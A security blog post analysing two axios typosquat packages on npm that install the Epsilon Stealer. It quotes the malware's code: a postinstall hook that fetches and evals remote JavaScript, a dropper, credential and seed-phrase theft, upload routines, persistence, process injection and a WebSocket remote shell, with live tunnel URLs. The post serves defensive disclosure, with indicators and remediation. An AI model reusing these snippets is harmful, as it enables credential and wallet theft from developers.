---
title: "Axios Typosquats Deliver the Epsilon Stealer"
description: "Two axios typosquats on npm, turbo-axios and faster-axios, form a campaign delivering Epsilon Stealer through a four-stage chain. The Electron infostealer grabs browser credentials, crypto wallets, Discord tokens, and opens a persistent WebSocket RAT."
url: "https://safedep.io/blog/malicious-faster-axios-npm-epsilon-stealer"
author: "SafeDep Team"
published: "2026-06-02"
---

# Axios Typosquats Deliver the Epsilon Stealer

Two malicious npm packages, `turbo-axios` and `faster-axios`, target developers searching for the popular `axios` HTTP client. Both are trojanized copies of the real axios source with a single addition: a `postinstall` hook that fetches and `eval()`s remote JavaScript. The chain terminates in **Epsilon Stealer**, a Malware-as-a-Service (MaaS) Electron infostealer that harvests browser credentials, crypto wallets, and messaging sessions, then opens a persistent WebSocket channel for arbitrary command execution.

The operator published `turbo-axios` on May 23. After npm took it down five days later ([MAL-2026-4695](https://osv.dev/vulnerability/MAL-2026-4695)), they registered a new account and published `faster-axios` on June 1. Shared C2 infrastructure links the two packages. The C2 was live at time of analysis, and we recovered every stage of the payload.

## Package overview

The npm maintainer account `speedsteraxios` registered with a throwaway Proton email. The package copies axios wholesale (78 files, matching directory structure) and steals its metadata:

```json
// faster-axios/package.json
{
  "name": "faster-axios",
  "description": "a faster and better version of axios for low latency",
  "author": { "name": "Matt Zabriskie" },
  "repository": { "type": "git", "url": "git+https://github.com/axios/axios.git" },
  "homepage": "https://axios-http.com"
}
```

Matt Zabriskie is the original axios author. The repository and homepage point to the real project. Version numbers (1.17.3, 1.17.4) are inflated above the legitimate axios release line to suggest a newer build. Every file in the tarball carries a forged mtime of `1985-10-26 08:15:00`, an artifact of the repack process.

## The four-stage payload chain

### Stage 1: postinstall eval loader

The only modification to the axios codebase is `lib/core/eval.js`, wired to execute on install:

```json
// faster-axios/package.json (diff vs. real axios)
"postinstall": "node ./lib/core/eval.js"
```

Real axios has no `postinstall` script. The hook fires on `npm install` and runs:

```javascript
// package/lib/core/eval.js (v1.17.4)
async function sendAnalytics() {
  const response = await fetch('https://apparently-movers-mysql-heights.trycloudflare.com/download/datab1');
  const datab2 = await response.text();
  await eval(`(async () => {\n${datab2}\n})();`);
}

sendAnalytics();
```

The attacker switched infrastructure between versions. Version 1.17.3 pulled from `cold5.gofile.io` (now deleted); version 1.17.4 moved to a Cloudflare quick-tunnel. The `debugger;` statements and numbered `console.log` markers scattered through the file suggest code left mid-testing.

### Stage 2: Windows dropper

The downloaded `datab1` is a Windows-specific dropper, 34 lines of JavaScript:

```javascript
// datab1 (retrieved live from trycloudflare C2)
const url = 'https://apparently-movers-mysql-heights.trycloudflare.com/download/epsilon';
const filename = 'hello.exe';

const tempDir = process.env.TEMP || process.env.TMP || 'C:\\Windows\\Temp';
const filePath = path.default.join(tempDir, filename);

const file = fs.default.createWriteStream(filePath);
https.default.get(url, (response) => {
  response.pipe(file);
  file.on('finish', () => {
    file.close(() => {
      execFile(filePath, (error) => {});
    });
  });
});
```

The dropper downloads an 86 MB binary to `%TEMP%\hello.exe` and runs it with `execFile`. No persistence at this stage; that comes later.

Note: stages 1 and 2 execute on any OS, since `eval()` runs whatever the C2 serves. The Windows-specific dropper is what was live during analysis. The server could swap in a different payload for Linux or macOS at any time.

### Stage 3: NSIS installer

`hello.exe` is a PE32 Nullsoft (NSIS v3.04) self-extracting archive:

```
$ file hello.exe
hello.exe: PE32 executable (GUI) Intel 80386, Nullsoft Installer self-extracting archive

$ sha256sum hello.exe
bc46e88b1fdf8c27e3404146306b4651f69728f7d8d939a219dfbcb5a23ef69a

$ ls -l hello.exe
-rw-r--r-- 1 vscode vscode 86235515 Jun 2 03:26 hello.exe
```

86 MB for an installer that unpacks to a ~17 MB Electron app. The padding is a scanner-evasion technique: many AV sandboxes skip files above a certain size threshold. Extracting with 7z reveals an electron-builder layout:

```
$PLUGINSDIR/
  app-64.7z          (85.9 MB, contains the Electron app)
  nsis7z.dll
  StdUtils.dll
  System.dll
```

### Stage 4: Epsilon Stealer

The inner `app-64.7z` unpacks to a full Electron runtime (`winhost.exe`) plus `resources/app.asar` containing the stealer source. The `package.json` identifies the payload:

```json
// app.asar/package.json
{
  "name": "winhost",
  "productName": "winhost",
  "version": "1.0.1",
  "epsilon_key": "SK-754644F96BBA9652C8A2A08042ABAF58827D",
  "author": "OracleCorporation",
  "main": "src/index.js"
}
```

The `epsilon_key` is the operator's license key for the Epsilon MaaS platform. The "OracleCorporation" author and "winhost" product name are decoys meant to blend with legitimate Windows processes.

The stealer source lives in a single 122 KB file, `src/index.js` (3,360 lines). Four Cloudflare quick-tunnels make up its C2 infrastructure:

```javascript
// src/index.js lines 98-101
const epsilon_api = 'https://recorded-distinct-face-girlfriend.trycloudflare.com/customer';
const DOWNLOAD_URL = 'https://consequences-faces-weblogs-clinical.trycloudflare.com/download/load';
const CLI_API = `${epsilon_api}/clip`;
let GATEWAY_URL = 'wss://prep-integer-lit-preferences.trycloudflare.com';
```

Each tunnel serves a different function: exfil API, secondary downloads, clipper, and the WebSocket RAT gateway.

## Stealing everything on the machine

Epsilon runs through a parallel `Promise.allSettled` batch that hits every target category at once.

**Browser credentials** from Chrome, Brave, Edge, Vivaldi, Opera, Opera GX, Yandex, and Firefox. For Chromium browsers, it loads `Crypt32.dll` via `koffi` (an FFI library) and calls `CryptUnprotectData` to decrypt DPAPI-protected master keys, then AES-GCM decrypts individual password and cookie entries:

```javascript
// src/index.js lines 105-123
const crypt32 = koffi.load('Crypt32');
const DATA_BLOB = koffi.struct('DATA_BLOB', {
  cbData: 'uint32',
  pbData: 'uint8 *',
});
const decrypt = crypt32.func(
  'bool CryptUnprotectData(DATA_BLOB *, string, string, void *, string, uint32, _Out_ DATA_BLOB *)'
);
```

For Firefox, it ships a full NSS library loader (lines 1751-1875) that decrypts `logins.json` by initializing the NSS security module and extracting PKCS#11 keys.

**Crypto wallets:** 30+ targets across browser extensions and desktop applications. MetaMask, Phantom, Exodus, Trust Wallet, Ledger Live, Electrum, Bitcoin Core, Monero GUI, and many others. For MetaMask and Exodus, it goes further and decrypts the vault to extract BIP-39 mnemonic seed phrases:

```javascript
// src/index.js lines 1385-1397
async function GetWalletSeedPhrase(WalletPath, WalletName, type){
    if(type == "Browser"){
        switch(WalletName){
            case "MetaMask":
            case "MetaMask_Edge":
                var vault = await GetVault(WalletPath)
                if(vault != null){
                    var decrypted = await DecryptVault(vault)
                    var SeedPhrase = fromMnemonic(decrypted['decrypted'][0]['data']['mnemonic']);
                    fs.writeFileSync(path.join(FinalDirectory, "Seed Phrases.txt"),
                                     SeedPhrase + "\n", { flag: 'a' })
                }
                break;
```

**Messaging sessions:** Discord tokens (validated against the Discord API and exfiltrated to a dedicated `${epsilon_api}/discord-token` endpoint), Telegram `tdata` directory, and GitHub 2FA backup codes.

**Sensitive files:** scans Desktop, Downloads, and Documents for files matching keyword and extension patterns. The keyword list covers English and French terms: `password`, `seed`, `wallet`, `metamask`, `2fa`, `backup`, `motdepasse`, `banque`, `sauvegarde`, and dozens more, combined with extensions like `.rdp`, `.keys`, `.wallet`, `.seed`, `.mnemonic`.

All stolen data gets zipped and uploaded as a multipart form:

```javascript
// src/index.js lines 669-678
const form = new FormData();
form.append('file', fs.createReadStream(FinalFile));
form.append('json', JSON.stringify(data));
form.append('epsilon_key', epsilon_key || '');
const response = await axios.post(`${epsilon_api}/upload`, form, {
  headers: form.getHeaders(),
  timeout: 120000,
});
```

## Persistence, shellcode injection, and the RAT

The stealer copies itself to `%LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe` and adds a registry Run key:

```javascript
// src/index.js lines 999-1009
function ConfigurePersistence() {
  fs.copyFileSync(process.env.PORTABLE_EXECUTABLE_FILE, path.join(StartupPath, 'svchost.exe'));
  const RegKey = new winreg({
    hive: winreg.HKCU,
    key: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
  });
  RegKey.set('svchost', winreg.REG_SZ, path.join(StartupPath, 'svchost.exe'), () => {});
}
```

A separate function (`GrabChromium`, line 3124) downloads shellcode from the same delivery tunnel, XOR-decodes it with key `0xAA`, spawns a suspended `dllhost.exe`, and injects via classic `VirtualAllocEx` + `WriteProcessMemory` + `CreateRemoteThread`. All of this through Electron's `koffi` FFI binding to `kernel32.dll`:

```javascript
// src/index.js lines 3164-3170
const kernel32 = koffi.load('kernel32.dll');
const OpenProcess = kernel32.func('void * __stdcall OpenProcess(uint32_t, bool, uint32_t)');
const VirtualAllocEx = kernel32.func('void * __stdcall VirtualAllocEx(void *, void *, size_t, uint32_t, uint32_t)');
const WriteProcessMemory = kernel32.func('bool __stdcall WriteProcessMemory(void *, void *, void *, size_t, void *)');
const CreateRemoteThread = kernel32.func(
  'void * __stdcall CreateRemoteThread(void *, void *, size_t, void *, void *, uint32_t, uint32_t *)'
);
```

After data exfiltration completes, Epsilon opens a persistent WebSocket connection to `wss://prep-integer-lit-preferences.trycloudflare.com` and registers with a machine UUID. The operator can then send arbitrary commands:

```javascript
// src/index.js lines 3302-3310
ws.on('message', (data) => {
  const msg = JSON.parse(data.toString());
  if (msg.type === 'run' && msg.command && msg.shell) {
    run(msg.command, msg.shell);
  }
});
```

The `run` function spawns either `cmd.exe` or `powershell.exe` and streams stdout back over the WebSocket in real time. Auto-reconnect with exponential backoff (2 seconds to 60 seconds) keeps the channel alive.

## Indicators of compromise

**Packages:**

- `faster-axios@1.17.3`, `faster-axios@1.17.4` (npm, live at analysis)
- `turbo-axios@1.17.2`, `turbo-axios@1.17.3` (npm, taken down, [MAL-2026-4695](https://osv.dev/vulnerability/MAL-2026-4695))

**Network (defanged):**

- `hxxps://apparently-movers-mysql-heights[.]trycloudflare[.]com` (payload delivery + shellcode)
- `hxxps://recorded-distinct-face-girlfriend[.]trycloudflare[.]com/customer` (exfil API)
- `hxxps://consequences-faces-weblogs-clinical[.]trycloudflare[.]com` (secondary download, shared with turbo-axios)
- `wss://prep-integer-lit-preferences[.]trycloudflare[.]com` (WebSocket RAT)
- `hxxps://philosophy-moms-incoming-milton[.]trycloudflare[.]com` (turbo-axios stage-2)

**Host artifacts:**

- `%TEMP%\hello.exe` (86 MB NSIS installer, sha256: `bc46e88b...69a`)
- `%LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe` (persistence copy)
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost` (registry key)

**Operator identifier:** epsilon_key `SK-754644F96BBA9652C8A2A08042ABAF58827D`

## This is a campaign, not a one-off

`turbo-axios` appeared on npm on May 23, 2026, eight days before `faster-axios`. It was flagged as malicious ([MAL-2026-4695](https://osv.dev/vulnerability/MAL-2026-4695)), and npm applied a security hold on May 28. The attacker published `faster-axios` four days later using a new account.

The link between the two packages is concrete: `turbo-axios` used `consequences-faces-weblogs-clinical.trycloudflare.com/download/datab1` as its stage-2 C2 endpoint. That same `consequences-faces-weblogs-clinical` tunnel appears in `faster-axios`'s Epsilon Stealer as the secondary download URL (`DOWNLOAD_URL` on line 99 of the stealer source). Same operator, same infrastructure, rotating through npm accounts after takedown.

| Package        | Published  | Versions       | Stage-2 C2                                                                | Status                     |
| -------------- | ---------- | -------------- | ------------------------------------------------------------------------- | -------------------------- |
| `turbo-axios`  | 2026-05-23 | 1.17.2, 1.17.3 | `consequences-faces-weblogs-clinical` + `philosophy-moms-incoming-milton` | Taken down (MAL-2026-4695) |
| `faster-axios` | 2026-06-01 | 1.17.3, 1.17.4 | `apparently-movers-mysql-heights` + `cold5.gofile.io`                     | Live at analysis           |

Both use the same version numbering scheme (1.17.x), the same `postinstall: node ./lib/core/eval.js` hook, the same `sendAnalytics()` function name, and the same `/download/datab1` URL path convention. The operator rotated tunnels and npm accounts after each takedown but reused the same Epsilon infrastructure.

The [earlier axios supply chain compromise](https://safedep.io/blog/axios-npm-supply-chain-compromise) targeted the real maintainer account through account takeover. This campaign is a different actor using typosquats as a distribution vector for Epsilon Stealer MaaS. The epsilon_key `SK-754644F96BBA9652C8A2A08042ABAF58827D` identifies this specific operator. Expect more packages in this pattern as long as the Epsilon infrastructure remains active.

## Remediation

If you installed `faster-axios` or `turbo-axios`, treat the machine as compromised. Epsilon Stealer establishes persistence via registry Run keys, injects shellcode into system processes, and opens a WebSocket RAT for arbitrary command execution. Attempting to clean a system with this level of compromise is unreliable.

1. **Reimage the machine.** Do not attempt manual cleanup.
2. **Rotate all credentials** that were accessible from the compromised host: browser-saved passwords, API keys, cloud tokens, SSH keys, and any secrets in environment variables.
3. **Revoke all active sessions** for Discord, Telegram, GitHub, and any other services with saved logins.
4. **Move crypto wallet funds** to new wallets generated on a clean device. Epsilon extracts seed phrases for MetaMask and Exodus; assume all wallet secrets are in the attacker's hands.
5. **Audit access logs** for accounts that were reachable from the compromised machine.

To prevent this class of attack, [`vet`](https://github.com/safedep/vet) flags typosquats and suspicious install hooks during dependency resolution. [`pmg`](https://github.com/safedep/pmg) goes a step further as a package manager proxy, blocking malicious packages at install time before postinstall hooks can execute on your machine.
